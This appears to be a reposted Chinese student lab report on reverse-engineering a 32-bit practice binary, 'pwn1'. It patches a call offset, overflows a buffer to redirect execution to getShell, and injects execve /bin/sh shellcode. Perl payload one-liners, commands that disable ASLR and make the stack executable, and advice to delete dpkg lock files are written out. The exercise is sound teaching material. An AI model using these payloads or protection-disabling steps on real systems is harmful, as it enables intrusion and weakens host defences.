Exp1 PC平台逆向破解(5)M
Exp1 PC平臺(tái)逆向破解(5)M
實(shí)踐內(nèi)容
本程序還包含了另一個(gè)代碼片段getshell,會(huì)返回一個(gè)可用的shell值,在正常的執(zhí)行狀況中該段代碼不會(huì)被執(zhí)行,而我們此次實(shí)踐的內(nèi)容就是對(duì)可執(zhí)行文件進(jìn)行攻擊,從而讓程序執(zhí)行到此段代碼。
實(shí)踐要求
實(shí)踐基礎(chǔ)知識(shí):
(1)NOP指令即“空指令”(機(jī)器碼:90)。執(zhí)行到NOP指令時(shí),CPU什么也不做,僅僅當(dāng)做一個(gè)指令執(zhí)行過去并繼續(xù)執(zhí)行NOP后面的一條指令。所以NOP指令自然也會(huì)占用執(zhí)行一個(gè)指令的CPU時(shí)間片。
(2)JNE是一個(gè)條件轉(zhuǎn)移指令(機(jī)器碼:75)。當(dāng)ZF=0,轉(zhuǎn)至標(biāo)號(hào)處執(zhí)行。
(3)JE是一個(gè)條件轉(zhuǎn)移指令(機(jī)器碼:74)。如果相等則跳轉(zhuǎn)。
(4)JMP是無(wú)條件轉(zhuǎn)移指令。段內(nèi)直接短轉(zhuǎn)Jmp short(機(jī)器碼:EB)段內(nèi)直接近轉(zhuǎn)移Jmp near(機(jī)器碼:E9)段內(nèi)間接轉(zhuǎn)移Jmp word(機(jī)器碼:FF)段間直接(遠(yuǎn))轉(zhuǎn)移Jmp far(機(jī)器碼:EA)
(5)CMP為比較指令,功能相當(dāng)于減法指令,只是對(duì)操作數(shù)之間運(yùn)算比較,不保存結(jié)果(機(jī)器碼:39)。cmp指令執(zhí)行后,將對(duì)標(biāo)志寄存器產(chǎn)生影響。其他相關(guān)指令通過識(shí)別這些被影響的標(biāo)志寄存器位來(lái)得知比較結(jié)果。
實(shí)踐過程
本次實(shí)踐有三種實(shí)現(xiàn)方式
注入一個(gè)自己制作的shellcode并運(yùn)行這段shellcode。
手工修改可執(zhí)行文件
再動(dòng)手之前應(yīng)該知道反匯編指令是
動(dòng)手之前應(yīng)該準(zhǔn)備好32位的執(zhí)行環(huán)境
64位Kali無(wú)法順利執(zhí)行pwn1問題的解決方案
開始實(shí)踐
- 對(duì)pwn1進(jìn)行備份并將副本命名為自己學(xué)號(hào)"20155329"并用副本進(jìn)行實(shí)踐。 使用cp 命令進(jìn)行復(fù)制,例如cp pwn1 20155329
- 對(duì)可執(zhí)行文件進(jìn)行反匯編
由反匯編結(jié)果可以看出
圖一
e8后的綠色部分為抵用的foo函數(shù)的偏移地址。
圖二
getshell的地址是0804847d。
綜上所述
- foo函數(shù)的地址為08048291,getshellh函數(shù)的地址為0804847d,用16進(jìn)制的減法我們可以精確的算出getshell比f(wàn)oo低了14,也就在原來(lái)的基礎(chǔ)上減去14即可。而在linux環(huán)境下,采用小端存儲(chǔ)的方式,也就是說(shuō)d7為低位,就是說(shuō)將到d7減去14即可,也就是變成c3。,我們使用vim編輯器對(duì)地址進(jìn)行修改。
- 使用vim打開可執(zhí)行文件20155329
- 此時(shí)文本為亂碼,用“%!xxd”指令將文本轉(zhuǎn)換成16進(jìn)制文件來(lái)進(jìn)行操作。
**修改偏移地址后,使用“%!xxd -r”將16進(jìn)制文件轉(zhuǎn)換成原文件保存退出。
運(yùn)行可執(zhí)行文件20155329
通過構(gòu)造輸入?yún)?shù),造成BOF攻擊,改變程序執(zhí)行流
- 在實(shí)踐一的基礎(chǔ)上來(lái)進(jìn)行實(shí)踐二
大致思路是找到返回堆棧地址,gets hell將此地址覆蓋,使程序執(zhí)行g(shù)etshell段的代碼
使用gdb確定輸入字符串哪幾個(gè)字符會(huì)覆蓋到返回地址
- 如果輸入字符串2015532922222222333333334444444412345678,那 4444 那四個(gè)數(shù)最終會(huì)覆蓋到堆棧上的返回地址,進(jìn)而CPU會(huì)嘗試運(yùn)行這個(gè)位置的代碼。那只要把這四個(gè)字符替換為 getShell 的內(nèi)存地址,輸給pwn1,pwn1就會(huì)運(yùn)行g(shù)etShell。
- 在實(shí)踐一中知道getshell的地址是0804847d
getShell的內(nèi)存地址,在未啟用ALSR的主機(jī)上是固定不變的,通過反匯編時(shí)可以看到,即 0x804847d 。接下來(lái)要確認(rèn)下字節(jié)序,簡(jiǎn)單說(shuō)是輸入 11111111222222223333333344444444\x08\x04\x84\x7d ,還是輸入 11111111222222223333333344444444\x7d\x84\x04\x08 。
對(duì)比之前 eip 0x34333231 0x34333231 ,正確應(yīng)用輸入11111111222222223333333344444444\x7d\x84\x04\x08。確定輸入 11111111222222223333333344444444\x7d\x84\x04\x08來(lái)覆蓋返回值。
構(gòu)造輸入字符串
由為我們沒法通過鍵盤輸入 \x7d\x84\x04\x08 這樣的16進(jìn)制值,所以先生成包括這樣字符串的一個(gè)文件。\x0a表示回車,如果沒有的話,在程序運(yùn)行時(shí)就需要手工按一下回車鍵。
利用Perl構(gòu)建input文件進(jìn)行輸入,鍵入指令 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
注入Shellcode并執(zhí)行
準(zhǔn)備一段Shellcode
- Shellcode實(shí)際是一段代碼(也可以是填充數(shù)據(jù)),是用來(lái)發(fā)送到服務(wù)器利用特定漏洞的代碼,一般可以獲取權(quán)限。另外,Shellcode一般是作為數(shù)據(jù)發(fā)送給受攻擊服務(wù)器的。 Shellcode是溢出程序和蠕蟲病毒的核心,提到它自然就會(huì)和漏洞聯(lián)想在一起,畢竟Shellcode只對(duì)沒有打補(bǔ)丁的主機(jī)有用武之地。網(wǎng)絡(luò)上數(shù)以萬(wàn)計(jì)帶著漏洞頑強(qiáng)運(yùn)行著的服務(wù)器給hacker和Vxer豐盛的晚餐。漏洞利用中最關(guān)鍵的是Shellcode的編寫
準(zhǔn)備工作
execstack -s pwn1 //設(shè)置堆??蓤?zhí)行execstack -q pwn1//查詢文件的堆棧是否可執(zhí)行 X pwn1more /proc/sys/kernel/randomize_va_space 2 echo "0" > /proc/sys/kernel/randomize_va_space //關(guān)閉地址隨機(jī)化more /proc/sys/kernel/randomize_va_space 0此處可參考緩沖區(qū)溢出實(shí)驗(yàn)學(xué)習(xí)
構(gòu)造要注入的payload。
結(jié)構(gòu)為:nops+shellcode+retaddr。
nop一為是了填充,二是作為“著陸區(qū)/滑行區(qū)”。
我們猜的返回地址只要落在任何一個(gè)nop上,自然會(huì)滑到我們的shellcode。
- 注意結(jié)構(gòu)
- 接下來(lái)尋找retaddr的地址了
- 此時(shí)知道我們的結(jié)構(gòu)是:anything+retaddr+nops+shellcode。
- 所以shellcode緊挨著retaddr地址,所以shell code地址位0xffffd3ac+4 = 0xffffd3b0
- perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xb0\xd3\xff\xff\x00"' > input_shellcode
- 成功了
-
實(shí)驗(yàn)中遇見的問題
共享文件夾無(wú)法正常使用
重新安裝 VMware tools
安裝32位的運(yùn)行庫(kù)時(shí)出現(xiàn)問題
問題:無(wú)法獲得鎖 /var/lib/dpkg/lock - open (11: 資源暫時(shí)不可用)
E: 無(wú)法鎖定管理目錄(/var/lib/dpkg/),是否有其他進(jìn)程正占用它?”- 解決辦法:
- sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock
問題:關(guān)于更多Shellcode的知識(shí),請(qǐng)參考Shellcode基礎(chǔ)。Shellcode基礎(chǔ)無(wú)法打開
實(shí)驗(yàn)收獲和感想
- 收獲:本次實(shí)驗(yàn)中學(xué)習(xí)了匯編相關(guān)知識(shí),做到了能看懂基本匯編指令,地址的運(yùn)算gdb調(diào)試。大概就是這些吧。
感想,本次實(shí)驗(yàn)開始就遇見了大問題,在環(huán)境的搭建上出了好多問題,雖然都解決了,但是也花費(fèi)了大部分的時(shí)間,在裝vmtools的時(shí)候聽信了安裝一直回車,導(dǎo)致后面的共享文件夾無(wú)法使用等問題,重新安裝也是同樣的問題,重啟后又不能使用,最后還是找到一個(gè)和我遇見同樣問題的大佬,看完他的博客,去添加源,更新源,安裝之后解決了這一問題 。所以說(shuō)還是要細(xì)心細(xì)心再細(xì)心才能減少之后的麻煩。
什么是漏洞?漏洞有什么危害?
什么是漏洞
- 漏洞是設(shè)計(jì)人員在設(shè)計(jì)過程中遺留下來(lái) 的一些缺陷,往往被不法分子利用,進(jìn) 行攻擊。所以一個(gè)程序越大,可能出現(xiàn)的漏洞就越多。- 漏洞有什么危害
- 漏洞往往被不法分子利用,攻擊用戶計(jì)算機(jī),非法獲取,篡改,刪除數(shù)據(jù)。反正就是做一些損人利己的事情,甚至損人不利己的事。
轉(zhuǎn)載于:https://www.cnblogs.com/hpl20155329/p/8533295.html
總結(jié)
以上是生活随笔為你收集整理的Exp1 PC平台逆向破解(5)M的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php实现二叉树
- 下一篇: Codeforces 486D. Val